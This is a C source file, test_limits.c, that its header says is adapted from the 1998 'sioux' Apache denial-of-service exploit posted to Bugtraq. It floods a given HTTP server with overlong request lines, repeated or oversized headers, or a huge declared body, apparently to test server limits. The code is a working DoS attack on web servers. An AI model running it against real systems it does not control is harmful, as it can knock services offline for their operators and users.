1 /**************************************************************
4 * A simple program for sending abusive requests to a server, based
5 * on the sioux.c exploit code that this nimrod posted (see below).
6 * Roy added options for testing long header fieldsize (-t h), long
7 * request-lines (-t r), and a long request body (-t b).
9 * FreeBSD 2.2.x, FreeBSD 3.0, IRIX 5.3, IRIX 6.2:
10 * gcc -o test_limits test_limits.c
13 * gcc -o test_limits test_limits.c -lsocket -lnsl
16 * Message-ID: <861zqspvtw.fsf@niobe.ewox.org>
17 * Date: Fri, 7 Aug 1998 19:04:27 +0200
18 * Sender: Bugtraq List <BUGTRAQ@netspace.org>
19 * From: Dag-Erling Coidan =?ISO-8859-1?Q?Sm=F8rgrav?= <finrod@EWOX.ORG>
20 * Subject: YA Apache DoS attack
22 * Copyright (c) 1998 Dag-Erling Codan Smrgrav
23 * All rights reserved.
25 * Redistribution and use in source and binary forms, with or without
26 * modification, are permitted provided that the following conditions
28 * 1. Redistributions of source code must retain the above copyright
29 * notice, this list of conditions and the following disclaimer
30 * in this position and unchanged.
31 * 2. Redistributions in binary form must reproduce the above copyright
32 * notice, this list of conditions and the following disclaimer in the
33 * documentation and/or other materials provided with the distribution.
34 * 3. The name of the author may not be used to endorse or promote products
35 * derived from this software withough specific prior written permission
37 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
38 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
39 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
40 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
41 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
42 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
43 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
44 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
45 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
46 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
51 * Kudos to Mark Huizer who originally suggested this on freebsd-current
54 #include <sys/types.h>
57 #include <sys/socket.h>
58 #include <netinet/in.h>
66 #define TEST_LONG_REQUEST_LINE 1
67 #define TEST_LONG_REQUEST_FIELDS 2
68 #define TEST_LONG_REQUEST_FIELDSIZE 3
69 #define TEST_LONG_REQUEST_BODY 4
75 "usage: test_limits [-t (r|n|h|b)] [-a address] [-p port] [-n num]\n");
80 main(int argc, char *argv[])
82 struct sockaddr_in sin;
87 /* default parameters */
88 char *addr = "localhost";
91 int testtype = TEST_LONG_REQUEST_FIELDS;
94 while ((o = getopt(argc, argv, "t:a:p:n:")) != EOF)
98 testtype = TEST_LONG_REQUEST_LINE;
99 else if (*optarg == 'n')
100 testtype = TEST_LONG_REQUEST_FIELDS;
101 else if (*optarg == 'h')
102 testtype = TEST_LONG_REQUEST_FIELDSIZE;
103 else if (*optarg == 'b')
104 testtype = TEST_LONG_REQUEST_BODY;
123 if ((he = gethostbyname(addr)) == NULL) {
124 perror("gethostbyname");
127 bzero(&sin, sizeof(sin));
128 bcopy(he->h_addr, (char *)&sin.sin_addr, he->h_length);
129 sin.sin_family = he->h_addrtype;
130 sin.sin_port = htons(port);
132 if ((sd = socket(sin.sin_family, SOCK_STREAM, IPPROTO_TCP)) == -1) {
137 if (connect(sd, (struct sockaddr *)&sin, sizeof(sin)) == -1) {
142 if ((f = fdopen(sd, "r+")) == NULL) {
148 fprintf(stderr, "Testing like a plague of locusts on %s\n", addr);
150 if (testtype == TEST_LONG_REQUEST_LINE) {
152 while (num-- && !ferror(f)) {
153 fprintf(f, "/123456789");
156 fprintf(f, " HTTP/1.0\r\n\r\n");
159 fprintf(f, "GET /fred/foo HTTP/1.0\r\n");
161 if (testtype == TEST_LONG_REQUEST_FIELDSIZE) {
162 while (num-- && !ferror(f)) {
163 fprintf(f, "User-Agent: sioux");
168 else if (testtype == TEST_LONG_REQUEST_FIELDS) {
169 while (num-- && !ferror(f))
170 fprintf(f, "User-Agent: sioux\r\n");
173 else if (testtype == TEST_LONG_REQUEST_BODY) {
174 fprintf(f, "User-Agent: sioux\r\n");
175 fprintf(f, "Content-Length: 33554433\r\n");
177 while (num-- && !ferror(f))
178 fprintf(f, "User-Agent: sioux\r\n");
190 while ((len = read(sd, buff, 512)) > 0)
191 len = write(1, buff, len);